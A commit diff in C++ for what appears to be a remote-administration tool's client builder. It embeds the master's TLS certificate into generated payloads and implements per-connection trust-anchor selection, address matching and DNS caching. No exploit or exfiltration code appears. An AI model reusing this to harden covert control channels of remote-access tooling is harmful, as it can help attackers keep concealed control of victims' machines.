Feature: Embed the master's TLS certificate in generated clients
When the server has TLS enabled, the builder can now bake its certificate into the client it produces, so a distributed client speaks TLS on its very first connection instead of waiting for the anchor to be pushed after a plaintext login. The dialog gets a checkbox (IDC_CHECK_TLS_ANCHOR) that is only enabled for payloads and protocols where an embedded anchor makes sense; the choice is remembered even when the control flips to disabled and back, so switching protocols cannot silently undo a deliberate opt-out. Every label variant stays short enough to fit the 196 DLU field, including the German ones. A template that predates the anchor block no longer aborts generation: it warns, clears the checkbox and produces a plain client, so a master upgraded without rebuilding the ghost/ServerDll resources does not block every build. The certificate lands in a fixed 4 KiB block (magic, version, length, FNV-1a hash, master address, PEM) carved out of the payload at build time. The client reads its trust anchor from four sources in order: the tls_disabled marker, the certificate the server pushed into the registry, a PEM file next to the executable, and finally the embedded block. The embedded block only applies to a connection whose target matches the master recorded at generation time, compared as an address set: an exact string match when only one address is configured, or an intersection of resolved IPv4 addresses otherwise. A transferred, shared or parallel instance falls back to the old plaintext first-connect path instead of pinning itself to a certificate it can never verify. That decision is made per connection, not per process: shared and parallel instances are threads inside a single client process, so a process-wide flag let whichever instance connected first decide for all of them, and the first load of the TLS state cached that answer for good. The TLS layer now keeps two cached states (embedded anchor allowed, and not allowed), picks one per handshake, and reports the anchor source of that handshake for the login capability bit. Matching by resolved address also keeps parallel mode working, where the connection goes to the single IP the domain pool selected while the configured master is a domain or a list. Server side, generated and updated payloads get the block written in place; the client reports the capability bit on login so the console can tell which hosts are already TLS-only on first connect. Loading the anchor decodes every PEM block in the chain rather than just the leaf, and an anchor that exists but fails to load keeps the old fail-closed behaviour. A pushed anchor only reconnects when the transport of the live connection actually changes, judged against that connection's own target rather than the process-wide switch. This was verified end to end against a freshly generated client with an empty registry: the first connection was a TLS 1.2 ClientHello 0.2 s after start, and a four-certificate fullchain loaded all four blocks. Re-verified after the per-connection rework with the anchor block patched into a debug client: with a matching master the first bytes are a ClientHello, with a foreign master the client logs the skip and sends plaintext, and a domain master resolves to the IP it connects to and still matches. A master domain that no longer resolves falls back to plaintext within a second and is not looked up again for a minute, instead of stalling every reconnect on a DNS timeout while holding the lock the certificate verification needs. Co-Authored-By: deepseek-flash
This commit is contained in:
1 parent
c4021e1fc9
commit
951b4072e5
31 files changed
+1911
-122
No files matched your search
+432
-97
@@ -3,15 +3,19 @@
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "TlsChannel.h"
|
||||
#include "EmbeddedTlsAnchor.h" // 生成客户端时写进镜像的信任锚块(ReadTrustAnchor 第四级)
|
||||
|
||||
#include "common/iniFile.h" // config(settings.ini 文件回退) + GetRegistryName/GetCurrentUserRegistryKey(注册表正文)
|
||||
#include "domain_pool.h" // GetIPAddress:把内嵌锚的主控地址(可能是域名)解析成 IP
|
||||
|
||||
#include <wincrypt.h> // 证书/链引擎 API
|
||||
#include <winreg.h> // RegOpenKeyExA / RegQueryValueExA
|
||||
#include <ctype.h> // tolower
|
||||
#include <io.h> // _access
|
||||
#include <fstream> // std::ifstream
|
||||
#include <iterator> // std::istreambuf_iterator
|
||||
#include <string>
|
||||
#include <map> // std::map(域名解析缓存)
|
||||
#include <mutex> // std::mutex
|
||||
|
||||
#pragma comment(lib, "secur32.lib")
|
||||
@@ -19,15 +23,45 @@
|
||||
|
||||
namespace {
|
||||
|
||||
// 进程级 TLS 状态:首连时加载一次,服务端下发/撤销信任锚后可重建(TlsReload)。
|
||||
// 一套 TLS 状态:信任锚 store + 链引擎 + 开关。按「本连接是否允许使用内嵌锚」分两套:
|
||||
// g_state[1]:允许(连的正是生成时那台主控)——绝大多数情况
|
||||
// g_state[0]:不使用内嵌块(被转移/被分享/并行实例连的是别的主控)
|
||||
// 为什么必须按连接分:分享实例与并行多主控实例是**同一个进程里的线程**
|
||||
// (ClientDll.cpp 的 __CreateThread(0, 0, StartClientApp, ...)),一个进程级布尔量既
|
||||
// 表达不了「主连接用锚、分享连接不用」,也不该由先发起连接的那个线程决定——状态是首次
|
||||
// 使用时缓存的,谁先连谁说了算(设计文档 §3.6)。
|
||||
struct TlsState {
|
||||
bool loaded = false; // 已加载过至少一次(决定首次失败是否 fail-closed)
|
||||
bool enabled = false; // TLS 会话可用:send/recv 走加密
|
||||
bool error = false; // 证书存在但加载失败:拒绝连接(fail-closed)
|
||||
bool anchorEmbedded = false; // 本套状态生效的锚来自内嵌块
|
||||
std::string source; // 锚来源,仅用于日志
|
||||
HCERTSTORE store = NULL;
|
||||
HCERTCHAINENGINE engine = NULL; // 只信任 store 的链引擎(严格钉扎)
|
||||
};
|
||||
|
||||
// 所有读写都在 g_tlsMtx 下;证书校验(VerifyServerCert)在校验期间持同一把锁,因此
|
||||
// 重建时可以安全地释放旧的 store/engine——不会再有线程正拿着它们用。
|
||||
std::mutex g_tlsMtx;
|
||||
bool g_tlsLoaded = false; // 已加载过至少一次(决定首次失败是否 fail-closed)
|
||||
bool g_tlsEnabled = false; // TLS 会话可用:send/recv 走加密
|
||||
bool g_tlsError = false; // 证书存在但加载失败:拒绝连接(fail-closed)
|
||||
HCERTSTORE g_tlsStore = NULL;
|
||||
HCERTCHAINENGINE g_tlsEngine = NULL; // 只信任 g_tlsStore 的链引擎(严格钉扎)
|
||||
std::mutex g_tlsMtx;
|
||||
TlsState g_state[2];
|
||||
|
||||
// 地址匹配用的锁,与 g_tlsMtx **分开**:匹配过程要解析域名,而 gethostbyname 可能卡上
|
||||
// 几秒到几十秒(DNS 不通时),绝不能压着证书校验那把锁。只在读写下面两个缓存与去重键时
|
||||
// 持锁,真正解析地址在锁外。
|
||||
std::mutex g_matchMtx;
|
||||
|
||||
// 地址解析缓存:内嵌锚的 master 可能写成域名,而运行时(并行实例)连的是 DomainPool
|
||||
// 解析出的 IP,必须比 IP 才知道是不是同一台主控。只在 g_matchMtx 下访问。
|
||||
std::map<std::string, std::string> g_dnsCache;
|
||||
|
||||
// 解析失败的负缓存(条目 → 失败时刻,GetTickCount64)。域名换过/过期而客户端还写着旧
|
||||
// 域名时,若失败不缓存,**每次连接**都要白等一轮 DNS 超时(连接莫名变慢,且很难归因)。
|
||||
// 缓 60 秒:短到 DNS 恢复后很快跟上,长到不会把每个重连都拖一遍。只在 g_matchMtx 下访问。
|
||||
const ULONGLONG kDnsFailTtlMs = 60 * 1000;
|
||||
std::map<std::string, ULONGLONG> g_dnsFailAt;
|
||||
|
||||
// 「内嵌锚不适用」日志去重(重连循环每几秒一轮,不能每次刷屏)。只在 g_matchMtx 下访问。
|
||||
std::string g_lastSkipLog;
|
||||
|
||||
// 解析信任锚证书路径:优先 settings.ini 的 [settings] tls_cert,其次可执行文件同目录
|
||||
// yama-ca.pem。
|
||||
@@ -54,17 +88,37 @@ std::string ResolveCertPath()
|
||||
// common/iniFile.h 的 ReadRegistrySz——服务端内置 TLS 证书同样要读 1~2KB 的长值,
|
||||
// 放在公共头里两端共用,避免各写一份。
|
||||
|
||||
// 取信任锚 PEM 正文。优先注册表 Software\<exehash>\settings\tls_cert(REG_SZ 直接存
|
||||
// PEM 正文,便于后续服务端下发/撤销),其次 settings.ini [settings] tls_cert 路径、
|
||||
// exe 同目录 yama-ca.pem 文件(向后兼容旧的文件投递方式)。
|
||||
// 取信任锚 PEM 正文。四级来源,优先级从高到低:
|
||||
// 1. 抑制标记 settings\tls_disabled == "1" → 未配置(强制明文)
|
||||
// 2. 注册表 settings\tls_cert(服务端在线下发,REG_SZ 直接存 PEM 正文)
|
||||
// 3. settings.ini [settings] tls_cert 路径 / exe 同目录 yama-ca.pem(手工投放)
|
||||
// 4. 内嵌锚块(生成客户端时写进镜像,出厂默认;需主控地址匹配,见 §3.6)
|
||||
// 返回 true 表示已配置(pem 可能为空:值/文件存在但内容为空,由 LoadTrustAnchor 判为
|
||||
// fail-closed);false 表示完全未配置(走明文)。source 描述来源,仅用于日志。
|
||||
bool ReadTrustAnchor(std::string& pem, std::string& source)
|
||||
// allowEmbedded:是否允许落到第 4 级内嵌块(按目标地址判定,见 EmbeddedAnchorAppliesTo)。
|
||||
// quiet:静默加载(第二套状态试建时用),失败原因仍经 err 返回。
|
||||
bool ReadTrustAnchor(std::string& pem, std::string& source, bool allowEmbedded, bool quiet)
|
||||
{
|
||||
// 1) 注册表正文(首选)。值存在(即便为空)即视为「已配置」,交由 LoadTrustAnchor
|
||||
// 对空/损坏内容判 fail-closed,与「空文件 → fail-closed」语义保持一致,避免空值
|
||||
// 被静默当成未配置而回退明文。
|
||||
std::string regSubKey = GetRegistryName() + "\\settings";
|
||||
|
||||
// 1) 「取消 TLS」抑制标记。必须压过内嵌锚:COMMAND_TLS_DISABLE 只删 tls_cert 时,
|
||||
// 客户端会回落到内嵌锚继续发 ClientHello,而服务端此时按明文处理 → StartTlsHandshake
|
||||
// fail-closed 关闭 → 客户端再也连不上、也收不到任何后续指令(设计文档 §3.5)。
|
||||
// 抑制标记压过**所有**信任锚来源,包括管理员手工投放的 PEM:这是操作员明确的
|
||||
// 「本机不加密」意图,热切换失败时它必须能兜住,否则客户端会回落到别的锚继续
|
||||
// 发 ClientHello,而服务端此时按明文处理(§3.5)。日志里点明「配置的证书也被忽略」,
|
||||
// 免得排查时误以为 PEM 没生效是加载失败。
|
||||
std::string disabled;
|
||||
if (ReadRegistrySz(GetCurrentUserRegistryKey(), regSubKey, "tls_disabled", disabled) && disabled == "1") {
|
||||
source = "registry " + regSubKey + "\\tls_disabled";
|
||||
if (!quiet)
|
||||
Mprintf("[TLS] disabled by server (tls_disabled=1), ignoring any configured "
|
||||
"certificate; plaintext mode\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// 2) 注册表正文。值存在(即便为空)即视为「已配置」,交由 LoadTrustAnchor 对空/损坏
|
||||
// 内容判 fail-closed,与「空文件 → fail-closed」语义一致,避免空值被静默当成未配置。
|
||||
std::string regVal;
|
||||
if (ReadRegistrySz(GetCurrentUserRegistryKey(), regSubKey, "tls_cert", regVal)) {
|
||||
pem = regVal;
|
||||
@@ -72,70 +126,274 @@ bool ReadTrustAnchor(std::string& pem, std::string& source)
|
||||
return true;
|
||||
}
|
||||
|
||||
// 2) 文件回退:settings.ini [settings] tls_cert 路径 → exe 同目录 yama-ca.pem
|
||||
// 3) 文件回退:settings.ini [settings] tls_cert 路径 → exe 同目录 yama-ca.pem
|
||||
std::string certPath = ResolveCertPath();
|
||||
if (certPath.empty() || _access(certPath.c_str(), 0) != 0)
|
||||
return false; // 无证书 → 明文
|
||||
if (!certPath.empty() && _access(certPath.c_str(), 0) == 0) {
|
||||
std::ifstream f(certPath.c_str(), std::ios::binary);
|
||||
if (!f) {
|
||||
if (!quiet)
|
||||
Mprintf("[TLS] cannot open %s\n", certPath.c_str());
|
||||
} else {
|
||||
pem.assign((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
|
||||
source = certPath;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
std::ifstream f(certPath.c_str(), std::ios::binary);
|
||||
if (!f) {
|
||||
Mprintf("[TLS] cannot open %s\n", certPath.c_str());
|
||||
// 4) 内嵌锚块(出厂默认)。allowEmbedded 为假表示本目标不是生成时那台主控
|
||||
// (被转移/被分享/并行实例):拿原主控的证书去校验新主控必然失败,fail-closed 之后
|
||||
// 又收不到新锚,只能重新生成客户端(§3.6)。
|
||||
if (allowEmbedded) {
|
||||
EmbeddedTlsAnchor anchor;
|
||||
GetEmbeddedAnchor(anchor);
|
||||
if (anchor.length > 0) {
|
||||
if (!IsAnchorBlockValid(anchor)) {
|
||||
// 损坏按「未配置」处理而不是 fail-closed:坏的可能是构建产物本身,
|
||||
// fail-closed 会让整批客户端彻底不可用;明文至少还能连上并接受下发(§6.4)。
|
||||
if (!quiet)
|
||||
Mprintf("[TLS] embedded anchor corrupt (length=%u), ignored\n", (unsigned)anchor.length);
|
||||
} else {
|
||||
pem.assign(anchor.pem, anchor.length);
|
||||
source = "embedded";
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false; // 无证书 → 明文
|
||||
}
|
||||
|
||||
// 去掉首尾空白并转小写:域名大小写不敏感,配置里出现空格是常事。
|
||||
std::string NormalizeEntry(const std::string& s)
|
||||
{
|
||||
size_t b = 0, e = s.size();
|
||||
while (b < e && (s[b] == ' ' || s[b] == '\t')) ++b;
|
||||
while (e > b && (s[e - 1] == ' ' || s[e - 1] == '\t')) --e;
|
||||
std::string out(s, b, e - b);
|
||||
for (size_t i = 0; i < out.size(); ++i)
|
||||
out[i] = (char)tolower((unsigned char)out[i]);
|
||||
return out;
|
||||
}
|
||||
|
||||
// 按分号拆分多地址(与 CONNECT_ADDRESS / DomainPool 的写法一致),逐项规范化。
|
||||
std::vector<std::string> SplitAddresses(const std::string& s)
|
||||
{
|
||||
std::vector<std::string> out;
|
||||
size_t pos = 0;
|
||||
for (;;) {
|
||||
const size_t semi = s.find(';', pos);
|
||||
std::string item = NormalizeEntry(s.substr(pos, semi == std::string::npos ? std::string::npos
|
||||
: semi - pos));
|
||||
if (!item.empty())
|
||||
out.push_back(item);
|
||||
if (semi == std::string::npos)
|
||||
break;
|
||||
pos = semi + 1;
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
bool IsIpv4Literal(const std::string& s)
|
||||
{
|
||||
return !s.empty() && inet_addr(s.c_str()) != INADDR_NONE;
|
||||
}
|
||||
|
||||
// 把一个地址条目解析成 IPv4;本身是 IP 就直接返回。解析失败返回空串。
|
||||
// 调用方**不得**持 g_tlsMtx:真正的解析在锁外做(见 g_matchMtx 的注释)。成功永久缓存,
|
||||
// 失败按 kDnsFailTtlMs 负缓存。
|
||||
std::string ResolveEntry(const std::string& entry)
|
||||
{
|
||||
if (IsIpv4Literal(entry))
|
||||
return entry;
|
||||
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(g_matchMtx);
|
||||
auto it = g_dnsCache.find(entry);
|
||||
if (it != g_dnsCache.end() && !it->second.empty())
|
||||
return it->second;
|
||||
auto f = g_dnsFailAt.find(entry);
|
||||
if (f != g_dnsFailAt.end() && GetTickCount64() - f->second < kDnsFailTtlMs)
|
||||
return std::string(); // 刚失败过,别在热路径上再等一次超时
|
||||
}
|
||||
|
||||
const std::string ip = GetIPAddress(entry.c_str()); // 锁外:可能阻塞数秒
|
||||
const std::string v = IsIpv4Literal(ip) ? ip : std::string();
|
||||
|
||||
std::lock_guard<std::mutex> lk(g_matchMtx);
|
||||
if (v.empty()) {
|
||||
g_dnsFailAt[entry] = GetTickCount64();
|
||||
} else {
|
||||
g_dnsCache[entry] = v;
|
||||
g_dnsFailAt.erase(entry);
|
||||
}
|
||||
return v;
|
||||
}
|
||||
|
||||
// 内嵌锚是否适用于本次连接(不持 g_tlsMtx;内部只对缓存加 g_matchMtx,解析在锁外)。
|
||||
//
|
||||
// 判定分两层,任何一层命中即可:
|
||||
// 1. 直接相等:配置里只写了一个地址,且与生成时的主控地址一字不差(域名对域名)。
|
||||
// 必须保留这一层——生成端填域名、运行时按域名连接时,靠字符串就能定案,不必
|
||||
// 依赖 DNS 的答案在两次查询之间保持一致。
|
||||
// 2. IP 相交:两侧(可能是分号分隔的多地址、可能是域名)解析出的 IPv4 有交集。
|
||||
// 并行实例连的是 DomainPool 解析后的单个 IP,生成端填的却是域名,只能靠这一层。
|
||||
//
|
||||
// host 为空表示调用方没给目标(进程级调用),按「允许」处理,与改造前的行为一致。
|
||||
bool EmbeddedAnchorAppliesTo(const std::string& host, const std::string& configured)
|
||||
{
|
||||
EmbeddedTlsAnchor anchor;
|
||||
GetEmbeddedAnchor(anchor);
|
||||
if (anchor.length == 0 || !IsAnchorBlockValid(anchor))
|
||||
return false; // 没有内嵌锚:用不用都是同一结果,不值得再比地址
|
||||
|
||||
if (host.empty())
|
||||
return true;
|
||||
|
||||
const std::string builtFor(anchor.master, strnlen(anchor.master, sizeof(anchor.master)));
|
||||
const std::vector<std::string> masters = SplitAddresses(builtFor);
|
||||
const std::vector<std::string> targets = SplitAddresses(host);
|
||||
|
||||
bool match = false;
|
||||
|
||||
// 1) 配置里只写了一个地址:与主控地址直接比字符串。
|
||||
const std::vector<std::string> configuredEntries = SplitAddresses(configured);
|
||||
if (configuredEntries.size() == 1) {
|
||||
for (size_t i = 0; i < masters.size() && !match; ++i)
|
||||
match = (masters[i] == configuredEntries[0]);
|
||||
}
|
||||
|
||||
// 2) 连接目标(IP)落在主控地址解析出的 IP 集合里。
|
||||
for (size_t i = 0; i < targets.size() && !match; ++i) {
|
||||
const std::string tip = ResolveEntry(targets[i]);
|
||||
if (tip.empty())
|
||||
continue;
|
||||
for (size_t j = 0; j < masters.size() && !match; ++j)
|
||||
match = (ResolveEntry(masters[j]) == tip);
|
||||
}
|
||||
|
||||
if (!match) {
|
||||
const std::string key = builtFor + "|" + host;
|
||||
bool log = false;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(g_matchMtx);
|
||||
if (g_lastSkipLog != key) { g_lastSkipLog = key; log = true; }
|
||||
}
|
||||
if (log) {
|
||||
Mprintf("[TLS] embedded anchor skipped: connecting %s, built for %s\n",
|
||||
host.c_str(), builtFor.c_str());
|
||||
}
|
||||
}
|
||||
return match;
|
||||
}
|
||||
|
||||
// 把一段 DER 加入信任锚存储;不是合法证书就静默跳过。返回是否加入成功。
|
||||
static bool AddDerCert(const BYTE* der, DWORD cb, HCERTSTORE store)
|
||||
{
|
||||
if (!der || cb == 0)
|
||||
return false;
|
||||
PCCERT_CONTEXT cert = CertCreateCertificateContext(X509_ASN_ENCODING, der, cb);
|
||||
if (!cert)
|
||||
return false;
|
||||
const bool ok = CertAddCertificateContextToStore(store, cert,
|
||||
CERT_STORE_ADD_REPLACE_EXISTING, NULL) != FALSE;
|
||||
CertFreeCertificateContext(cert);
|
||||
return ok;
|
||||
}
|
||||
|
||||
// 从 pem 的 pos 起取下一个 PEM 块(-----BEGIN … -----END 两行含在内),pos 前移到块后。
|
||||
static bool NextPemBlock(const std::string& pem, size_t& pos, std::string& block)
|
||||
{
|
||||
const size_t begin = pem.find("-----BEGIN", pos);
|
||||
if (begin == std::string::npos)
|
||||
return false;
|
||||
const size_t end = pem.find("-----END", begin);
|
||||
if (end == std::string::npos) {
|
||||
pos = pem.size(); // 只有 BEGIN 没有 END:残缺块,别再往后找
|
||||
return false;
|
||||
}
|
||||
pem.assign((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
|
||||
source = certPath;
|
||||
const size_t eol = pem.find('\n', end); // 一直取到 END 那一行结束(兼容 CRLF)
|
||||
const size_t stop = (eol == std::string::npos) ? pem.size() : eol + 1;
|
||||
block.assign(pem, begin, stop - begin);
|
||||
pos = stop;
|
||||
return true;
|
||||
}
|
||||
|
||||
// 解码 PEM/DER 信任锚正文为 DER,并加入内存信任锚存储。
|
||||
bool LoadTrustAnchor(const std::string& pem, const std::string& source, HCERTSTORE* outStore)
|
||||
// 把 PEM 里的**所有**证书块解码并加入信任锚存储,返回加入的证书张数。
|
||||
//
|
||||
// 必须循环:内置自签证书只有一张,但用户自备的是 leaf-first fullchain(叶证书 + 中间
|
||||
// CA)。只把叶证书放进独占根存储,CertGetCertificateChain 就建不出链 → 握手失败 →
|
||||
// fail-closed。Linux 端 TlsChannelLinux.cpp::LoadAnchors 一直是循环读全部块的,这里补齐
|
||||
// 同一语义(设计文档 §5 P1)。
|
||||
//
|
||||
// 不能用 CryptStringToBinaryA 的 pdwSkip 走多块:该参数是纯输出的——回报「转换前跳过了
|
||||
// 多少字符」,调用方传进去的偏移一概不看,整串输入时永远是 0。曾按「回报下一块起点」用它
|
||||
// 循环,结果下一轮就被 `next <= offset` 的防死循环判断挡下,一张证书都加不进去(内嵌锚
|
||||
// 客户端首次连接直接 fail-closed,2026-11-01 实测)。因此这里自己按 BEGIN/END 切块。
|
||||
static int DecodeAllCerts(const std::string& pem, DWORD flags, HCERTSTORE store,
|
||||
const std::string& source, bool quiet)
|
||||
{
|
||||
int added = 0;
|
||||
size_t pos = 0;
|
||||
std::string block;
|
||||
while (NextPemBlock(pem, pos, block)) {
|
||||
DWORD derLen = 0;
|
||||
if (!CryptStringToBinaryA(block.c_str(), (DWORD)block.size(), flags,
|
||||
NULL, &derLen, NULL, NULL) || derLen == 0)
|
||||
continue; // 这一块不是该 flags 认得的内容:跳过,后面的块还有机会
|
||||
|
||||
std::vector<BYTE> der(derLen);
|
||||
DWORD cb = derLen;
|
||||
if (!CryptStringToBinaryA(block.c_str(), (DWORD)block.size(), flags,
|
||||
der.data(), &cb, NULL, NULL)) {
|
||||
if (!quiet)
|
||||
Mprintf("[TLS] failed to decode a certificate block in %s\n", source.c_str());
|
||||
continue;
|
||||
}
|
||||
if (AddDerCert(der.data(), cb, store))
|
||||
++added;
|
||||
}
|
||||
return added;
|
||||
}
|
||||
|
||||
// 解码 PEM/DER 信任锚正文,并加入内存信任锚存储。
|
||||
bool LoadTrustAnchor(const std::string& pem, const std::string& source, bool quiet,
|
||||
HCERTSTORE* outStore)
|
||||
{
|
||||
if (pem.empty()) {
|
||||
Mprintf("[TLS] empty certificate %s\n", source.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
// PEM(-----BEGIN CERTIFICATE----- base64)或 DER → DER。CRYPT_STRING_ANY 两者都认,
|
||||
// 失败再退回 CRYPT_STRING_BASE64HEADER(纯 PEM)。
|
||||
DWORD derLen = 0;
|
||||
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_ANY,
|
||||
NULL, &derLen, NULL, NULL) || derLen == 0) {
|
||||
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_BASE64HEADER,
|
||||
NULL, &derLen, NULL, NULL) || derLen == 0) {
|
||||
Mprintf("[TLS] failed to decode certificate %s\n", source.c_str());
|
||||
return false;
|
||||
}
|
||||
}
|
||||
std::vector<BYTE> der(derLen);
|
||||
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_ANY,
|
||||
der.data(), &derLen, NULL, NULL)) {
|
||||
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_BASE64HEADER,
|
||||
der.data(), &derLen, NULL, NULL)) {
|
||||
Mprintf("[TLS] failed to decode certificate %s\n", source.c_str());
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
PCCERT_CONTEXT cert = CertCreateCertificateContext(X509_ASN_ENCODING, der.data(), derLen);
|
||||
if (!cert) {
|
||||
Mprintf("[TLS] invalid certificate %s\n", source.c_str());
|
||||
if (!quiet)
|
||||
Mprintf("[TLS] empty certificate %s\n", source.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
HCERTSTORE store = CertOpenStore(CERT_STORE_PROV_MEMORY, X509_ASN_ENCODING,
|
||||
0, CERT_STORE_CREATE_NEW_FLAG, NULL);
|
||||
if (!store) {
|
||||
CertFreeCertificateContext(cert);
|
||||
Mprintf("[TLS] CertOpenStore failed\n");
|
||||
if (!quiet)
|
||||
Mprintf("[TLS] CertOpenStore failed\n");
|
||||
return false;
|
||||
}
|
||||
if (!CertAddCertificateContextToStore(store, cert, CERT_STORE_ADD_REPLACE_EXISTING, NULL)) {
|
||||
|
||||
// 先按标准 PEM(-----BEGIN CERTIFICATE-----)逐块解码;没有标记头再按旧语义退回
|
||||
// 「任意格式」整串解一次(覆盖只有 base64 正文的锚),最后兜底裸 DER。
|
||||
int added = DecodeAllCerts(pem, CRYPT_STRING_BASE64HEADER, store, source, quiet);
|
||||
if (added == 0 && pem.find("-----BEGIN") == std::string::npos) {
|
||||
std::vector<BYTE> der(pem.size() + 16);
|
||||
DWORD cb = (DWORD)der.size();
|
||||
if (CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_ANY,
|
||||
der.data(), &cb, NULL, NULL) && AddDerCert(der.data(), cb, store))
|
||||
++added;
|
||||
// 兜底:正文就是 DER 字节(REG_BINARY / 二进制文件读进来的情况)。
|
||||
if (added == 0 && AddDerCert((const BYTE*)pem.data(), (DWORD)pem.size(), store))
|
||||
++added;
|
||||
}
|
||||
if (added == 0) {
|
||||
CertCloseStore(store, 0);
|
||||
CertFreeCertificateContext(cert);
|
||||
Mprintf("[TLS] CertAddCertificateContextToStore failed\n");
|
||||
if (!quiet)
|
||||
Mprintf("[TLS] failed to decode certificate %s\n", source.c_str());
|
||||
return false;
|
||||
}
|
||||
CertFreeCertificateContext(cert);
|
||||
if (!quiet)
|
||||
Mprintf("[TLS] trust anchor %s: %d certificate(s) loaded\n", source.c_str(), added);
|
||||
|
||||
*outStore = store;
|
||||
return true;
|
||||
@@ -145,17 +403,17 @@ enum TlsAnchor { TLS_ANCHOR_OK, TLS_ANCHOR_NONE, TLS_ANCHOR_INVALID };
|
||||
|
||||
// 读取当前信任锚并建好 store + 链引擎(成功时经 outStore/outEngine 交出,调用方负责
|
||||
// 释放)。不触碰全局状态。source 描述锚的来源,仅用于日志。
|
||||
TlsAnchor BuildTlsAnchor(HCERTSTORE* outStore, HCERTCHAINENGINE* outEngine,
|
||||
std::string& source, std::string& err)
|
||||
TlsAnchor BuildTlsAnchor(bool allowEmbedded, bool quiet, HCERTSTORE* outStore,
|
||||
HCERTCHAINENGINE* outEngine, std::string& source, std::string& err)
|
||||
{
|
||||
std::string pem;
|
||||
if (!ReadTrustAnchor(pem, source)) {
|
||||
if (!ReadTrustAnchor(pem, source, allowEmbedded, quiet)) {
|
||||
err = "no trust anchor configured";
|
||||
return TLS_ANCHOR_NONE;
|
||||
}
|
||||
|
||||
HCERTSTORE store = NULL;
|
||||
if (!LoadTrustAnchor(pem, source, &store)) {
|
||||
if (!LoadTrustAnchor(pem, source, quiet, &store)) {
|
||||
err = "trust anchor (" + source + ") present but failed to load";
|
||||
return TLS_ANCHOR_INVALID;
|
||||
}
|
||||
@@ -177,54 +435,90 @@ TlsAnchor BuildTlsAnchor(HCERTSTORE* outStore, HCERTCHAINENGINE* outEngine,
|
||||
return TLS_ANCHOR_OK;
|
||||
}
|
||||
|
||||
// 按当前信任锚重建 TLS 状态(调用方持 g_tlsMtx)。
|
||||
void FreeState(TlsState& st)
|
||||
{
|
||||
if (st.engine) { CertFreeCertificateChainEngine(st.engine); st.engine = NULL; }
|
||||
if (st.store) { CertCloseStore(st.store, 0); st.store = NULL; }
|
||||
}
|
||||
|
||||
// 按当前信任锚重建某一套 TLS 状态(调用方持 g_tlsMtx)。idx:1=允许内嵌锚,0=不用。
|
||||
// 首次加载失败 → fail-closed(管理员已「颁发」证书,不能静默回退明文);运行期热重载
|
||||
// 失败 → 保持现有状态不变,返回 false(一次坏下发不该打死正在工作的客户端;下次启动
|
||||
// 仍会 fail-closed)。
|
||||
bool ApplyTlsStateLocked(bool initial, std::string& err)
|
||||
bool ApplyTlsStateLocked(int idx, bool initial, std::string& err, bool quiet)
|
||||
{
|
||||
HCERTSTORE store = NULL;
|
||||
HCERTCHAINENGINE engine = NULL;
|
||||
std::string source;
|
||||
const TlsAnchor anchor = BuildTlsAnchor(&store, &engine, source, err);
|
||||
const TlsAnchor anchor = BuildTlsAnchor(idx == 1, quiet, &store, &engine, source, err);
|
||||
TlsState& st = g_state[idx];
|
||||
|
||||
if (anchor == TLS_ANCHOR_INVALID) {
|
||||
if (initial) {
|
||||
g_tlsEnabled = false;
|
||||
g_tlsError = true;
|
||||
g_tlsLoaded = true;
|
||||
Mprintf("[TLS] FATAL: %s; refusing connections (fail-closed)\n", err.c_str());
|
||||
} else {
|
||||
if (initial && !st.loaded) {
|
||||
FreeState(st);
|
||||
st.enabled = st.anchorEmbedded = false;
|
||||
st.error = true;
|
||||
st.loaded = true;
|
||||
st.source = source;
|
||||
if (!quiet)
|
||||
Mprintf("[TLS] FATAL: %s; refusing connections (fail-closed)\n", err.c_str());
|
||||
} else if (!quiet) {
|
||||
Mprintf("[TLS] reload failed: %s (keeping current transport)\n", err.c_str());
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// 互换。旧 store/engine 可以直接释放:校验路径持同一把锁,此刻没有线程在用它们。
|
||||
HCERTSTORE oldStore = g_tlsStore;
|
||||
HCERTCHAINENGINE oldEngine = g_tlsEngine;
|
||||
g_tlsStore = store;
|
||||
g_tlsEngine = engine;
|
||||
g_tlsEnabled = (anchor == TLS_ANCHOR_OK);
|
||||
g_tlsError = false;
|
||||
g_tlsLoaded = true;
|
||||
if (oldEngine) CertFreeCertificateChainEngine(oldEngine);
|
||||
if (oldStore) CertCloseStore(oldStore, 0);
|
||||
FreeState(st);
|
||||
st.store = store;
|
||||
st.engine = engine;
|
||||
st.enabled = (anchor == TLS_ANCHOR_OK);
|
||||
st.anchorEmbedded = st.enabled && source == "embedded";
|
||||
st.error = false;
|
||||
st.loaded = true;
|
||||
st.source = source;
|
||||
|
||||
if (g_tlsEnabled)
|
||||
Mprintf("[TLS] enabled: trust anchor loaded (%s), all connections use TLS\n", source.c_str());
|
||||
else
|
||||
Mprintf("[TLS] disabled: no trust anchor configured, plaintext mode\n");
|
||||
if (!quiet) {
|
||||
if (st.enabled)
|
||||
Mprintf("[TLS] enabled: trust anchor loaded (%s), using TLS\n", source.c_str());
|
||||
else
|
||||
Mprintf("[TLS] disabled: no trust anchor configured, plaintext mode\n");
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
// 首次调用时才真正加载;之后一律用缓存的状态(热重载由 TlsReload 负责)。
|
||||
inline void EnsureTlsLoadedLocked()
|
||||
//
|
||||
// 本连接不走内嵌锚时,两套状态都静默建好,只发一条描述本连接的状态行。不能反过来
|
||||
// 先按 idx==1 打了日志再补一句——那两条讲的是本连接不用的那套(实测日志会读成
|
||||
// 「skipped → enabled, using TLS → plaintext」,前后自相矛盾)。
|
||||
void EnsureStateLocked(int idx)
